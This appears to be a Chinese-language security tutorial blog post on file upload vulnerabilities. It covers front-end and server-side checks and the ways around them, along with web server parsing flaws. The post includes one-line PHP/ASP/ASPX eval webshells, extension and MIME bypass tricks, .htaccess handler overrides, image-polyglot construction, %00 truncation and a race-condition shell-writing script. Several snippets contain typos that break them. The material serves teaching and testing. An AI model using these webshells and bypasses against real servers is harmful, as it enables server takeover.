文件上传漏洞

文件上传漏洞

0x01、文件上传漏洞概述

1、form表单中属性enctype的值

<form
	action="up.php"
	method="post"
	enctype="multipart/form-data"
>
描述
application/x-www-form-urlencoded默认值,在发送前对所有字符进行编码(将空格转换为“+”,特殊符号转换为ASCII HEX值)
multipart/form-data不对字符编码,当使用有文件上传控件的表单时,该值时必需的
text/plain将空格转换为“+”,但是不编码特殊字符

文件上传的简单代码

<meta charset="utf-8"></meta>
<?php
	if (isset($_POST[submit])){
		$tmppath=$_FILES['file']['file_name'];
		$path="./upload/".$_FILES['file']['name'];
			if(move_upload_file($tmppath,$path)){
				echo $path;
			}else{
				echo "上传失败,请<a href='up.html'>返回首页</a>重新上传!";			}
	}else{
		echo "您未点击提交按钮,请<a href='up.html'>返回首页</a>重新上传!";
	}
?>

上传文件时,如果未对上传的文件进行严格的验证和过滤,就容易造成文件上传漏洞,上传脚本文件(包括asp,aspx,jsp,php)。上传的行为可能导致网站甚至整个服务器被控制,恶意的脚本文件又被称为webshell,通过上传webshell可以查看服务器目录、服务器中的文件以及执行系统命令等。

0x02、文件上传漏洞的成因

一方面,web应用开放了文件上传的功能,并且对上传的文件没有进行足够的限制,另一方面,程序开发部署的时候,没有考虑到系统特性和过滤不严格,再者就是,攻击者通过web服务器解析漏洞绕过限制,导致可以上传任意文件。

0x03、文件上传漏洞的危害

1、文件上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、可执行程序等

2、如果web服务器所保存上传文件的可写目录具有执行权限,那么久可以直接上传后门文件,导致网站沦陷

3、如果攻击者通过其他漏洞进行提权操纵,拿到系统管理权限,那么直接导致服务器沦陷

4、同服务器下的其他网站无一幸免,均会被攻击者控制

0x04、文件上传漏洞的利用

文件上传漏洞的完美利用需要一定的条件:

1、web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(web用户可以访问)

2、web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,web目录都有执行权限

3、上传的文件可以执行,也就是说web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在

小马:

小马通常指一句话木马因为其代码量比较小,就是一句简单的代码

PHP:<?php @eval($_REQUEST['cmd']); ?>
ASP:<%eval request("cmd")%>
ASPX:<%@ Page Language="jscript"%>
	<%eval(Request.Item["cmd"],"unsafe");%>
	
<?php @eval($_POST('cmd'));?>

0x05、文件上传漏洞的检测与绕过

1、客户端检测与绕过

客户端或称为用户端(前端),与服务器相对应。由于客户端对于文件上传漏洞的防御是通过JS代码实现的,所以客户端检测与绕过也称为JS检测与绕过。

2、检测原理

调用JS的selectFile()函数,先将文件名转换为小写,然后通过substr获取文件名最后一个点号后面的后缀(包括点号)进行判断

<script type="text/javascript">
	function selectfile(fnUpload){
		var filename = fnUpload.value;
		var mime = filename.toLowerCase().substr(filename.lastIndexOf("."));
		if(n=mine !=".jpg")
		{
			alert("请选择jpg格式的照片上传");
			fnUpload.outerHTML=fnUpload.outerHTML;
		}
	}
</script>	

3、绕过方法

由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传webshell

(1)删除浏览器事件

修改 onsubmit="return selectFile()" 为 onsubmit=""

(2)利用burpsuite抓包修改文件后缀名

(3)构造上传表单

<html>
<meta http_equiv="Content-type" content="text/html; charset=utf-8">
<head>
<title>JS检查文件后缀</title>
<body>
<form action="http://127.0.0.1/php/upfile/1/upload.php" method="post" entype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br/>
<input type="submit" value="submit" />
</form>
</body>
</head>
</html>

4、服务端检测与绕过

对于文件上传,只从web前端进行检测显然防护不足,那么服务器端检测就特别重要了。一般服务器检测包括以下几个方面:

后缀名检测与绕过

MIME类型检测与绕过

文件内容检测与绕过

00截断检测与绕过

条件竞争

(1)后缀名检测与绕过

检测原理

通过函数pathinfo()获取文件后缀,然后判断是不是php

$info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];//得到文件扩展名
if($ext == "php"){
	exit("不允许的后缀名");
}

黑名单

绕过方法一:大小写绕过

pHp phP PHp PHP

绕过方法二:名单列表绕过

有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3\phtml的文件。所以上传一个后缀名为php3、phtml的文件即可

Addtype application/x-compress .Z
Addtype application/x-gzip .gz .tgz
Addtype application/x-httpd-php .php
Addtype application/x-httpd-php .php3
Addtype application/x-httpd-php .phtml

绕过方法三:Windows特性绕过

一些特殊的文件命名方式在Windows下是不被允许的,利用burpsuite抓包修改后缀名,绕过验证后上传文件,windows会自动去掉后面添加的,但要注意Unix/Linux系统没有这个特性。比如:

末尾的(.)     [1.php1]
空格( )		[1.php ]
::$DATA		  [1.php::$DATA]

绕过方法四:白名单绕过

白名单绕过需要配和文件包含漏洞或者解析漏洞

if(isset($_POST['submit'])){
	$ext_arr = array('jpg','png','gif')
	$file_ext  = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
	if(in_array($file_ext,$ext_arr)){
	
	}
}

绕过方法五:.htacccess文件攻击

​ .htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录

如果一个web应用允许上传。htaccess文件,那就意味着攻击者可以更改Apache的配置

条件:

在http.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去寻找.htaccess文件作为配置文件,如果设置为none,那么服务器将忽略.htaccess文件,如果这只为All,那么所有在.htaccess文件里有的指令都将被重写,即允许文件覆盖掉Apache的配置

<Directory />
AllowOverride All
</Directory>

.htaccess文件的内容通常为:

SetHandler application/x_httpd-php
SetHandler application/x_httpd-php .jpg

匹配文件名中的关键字

比如:当文件名[info.php.png]中包含关键字[.php],并且.htaccess文件内容如下,info.php,png中的代码会被执行

AddHandler php5-script  .php

匹配文件名

当.htaccess文件中的代码如下时,文件名为“360”的文件中的php代码会被执行

<FilesMatch "360">
SetHandler application/x-httpd-php
</FilesMatch>

绕过方法六:利用Apache解析漏洞绕过

Apache文件解析机制,从右向左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止

1.php.360		1.php.aaa    1.php.xyz

(2)MIME类型检测于绕过

MIME是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:

文件扩展名MIME-type
.jsapplication/x-javascript
.htmltext/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf
检测原理:判断$_FILES["file"]["type"]是不是图片格式(image/gif、image/jpeg、image/pjpeg),不是则不允许上传。在http协议中,使用content-type字段表示文件的MIME类型。$_FILES["file"]["type"]的值是从请求数据包中的content-type中获取的

检测代码:
if(($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg") && ($_FILES["file"]["type"] != "image/pjpeg") ){
	echo "不允许的格式";
	exit($_FILES["file"]["type"]);
}

绕过方法

通过抓取数据请求包,上传php文件时,Content-Type值是application/octer-stream,上传jpg格式的文件时Content-type值是image/jpeg。可修改文件类型进行绕过

(3)文件内容检测与绕过

检测原理:

利用getinagesize()函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息》

if(!getinagesize($_FILES["file"]["tmp_name"])){
	exit("不允许的文件");
}

文件幻数检测:

JPG : FF D8 FF E0 00 10 4A 46 49 46

GIF: 47 49 46 38 39 61(GIF89a)

PNG:89 50 4E 47

绕过方法一:在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码

绕过方法二:制作图片马

在图片后写入脚本代码

在cmd中: copy 1.jpg/b+1.php/a 2.jpg

参数/b指定以二进制格式复制、合并文件,用于图像声音类文件

参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件

(4)00截断检测与绕过

检测原理:

截断漏洞出现的核心就是char(0),这个字符不能为空(Null),也不是空字符(“”),更不是空格。当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数值直接忽略,这就导致了漏洞的出现。由于00代表结束符,php会把00后面的所有字符删除。

截断条件:PHP版本小于5.3.4、magic_quotes_gpc为off状态

GET方式的绕过:

bp抓包拦截后添加%00
在第一行的./upload后加1.php%00,并将文件名改为1.jpg

POST方法绕过:

在抓包的./upload/后添加1.php.jpg,再将上传的文件名改为1.jpg
在十六进制中找到1.php,将它后面的值改为00,修改后会发现1.php和jpg之间出现小方框

(5)条件竞争检测与绕过

检测原理:

一些网站文件检测逻辑是先允许上传任意文件,然后检测文件内容是否包含可执行脚本,如果包含则删除。这里使用sleep()函数来模拟判断是否含有脚本所需要的时间。

绕过方式:

利用成功上传到删除文件的 时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新的php文件,新文件不会被删除

<?php
fput(fopen('../shell.php','w'),'<?php phpinfo();?>')
?>

../shelll.php 在上一级目录新建shell.php文件

0x06、web容器解析漏洞

1、web容器的概念

常见的web容器:

IIS Apache Ngix Tomcat Jboss WebLogic

2、Apache解析漏洞

Apache和php三种结合方式:

CGI、FastCGI、Module

漏洞原理:

Apache默认一个文件可以有多个以点分割的后缀,当右边的后缀无法识别,则继续向左识别

其实apache本身不存在所谓的解析漏洞,将文件交给php处理时,php也无法识别不存在的后缀,所以就直接输出了。

解析漏洞的产生是由于运维人员在配置服务器时,为了使apache服务器能够解析php,自己添加了一个handler

AddHandler application/x-httpd-php .php

它的作用是为了让apache把php文件交给php_module解析,但是注意到它与SetHandler:它的后缀不是用正则去匹配的,所以在文件名的任何位置匹配到php后缀。。它都会让php_module解析

3、IIS解析漏洞

漏洞利用:

1、如果过滤了.asp后缀名,使用其他可以解析的后缀名,如.cer .asa

2、IIS6.0处理含有特殊符号的文件路径时会出现漏极错误,从而造成文件解析漏洞

利用方式:

新建一个名为test.asp的目录,该目录中的任何文件都被当做asp程序执行
/test.asp/test.jpg  
上传名为test.asp;jpg的文件,虽然该文件真正的后缀名是“.jpg”,但是由于有”;“,仍会被IIS当作asp程序执行
test.asp;.jpg

3、IIS7.5文件解析漏洞

test.jpg/.php

一看到URL中文件后缀是.php,便无论该文件是否存在,都直接交给PHP处理,二PHP又默认开启”cgi.fix_pathinfo“,会对文件路径进行修理,修理后判断文件是否存在,若存在则把该文件当作php程序执行。

如:test.jpg 访问时在其后加/.php,IIS修理test.jpg/.php后去掉/.php,发现文件test.jpg存在,就会将该文件当作PHP程序执行

4、Nginx解析漏洞

cgi.fix_pathinfo这个配置在php.ini中可以修改,默认为1,表示开启。

/etc/php5/fpm/pool.d/www/conf中security.limit_extensions允许解析其他格式文件为PHP

;Default Value: .php
security.limit_extensions = 

漏洞利用:

1、对任意文件名,将test.jpg添加为test.jpg/x.php进行解析攻击(与IIS7.5解析漏洞类似)

2、对低版本的nginx可以利用在文件名后添加%00.php进行解析攻击

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值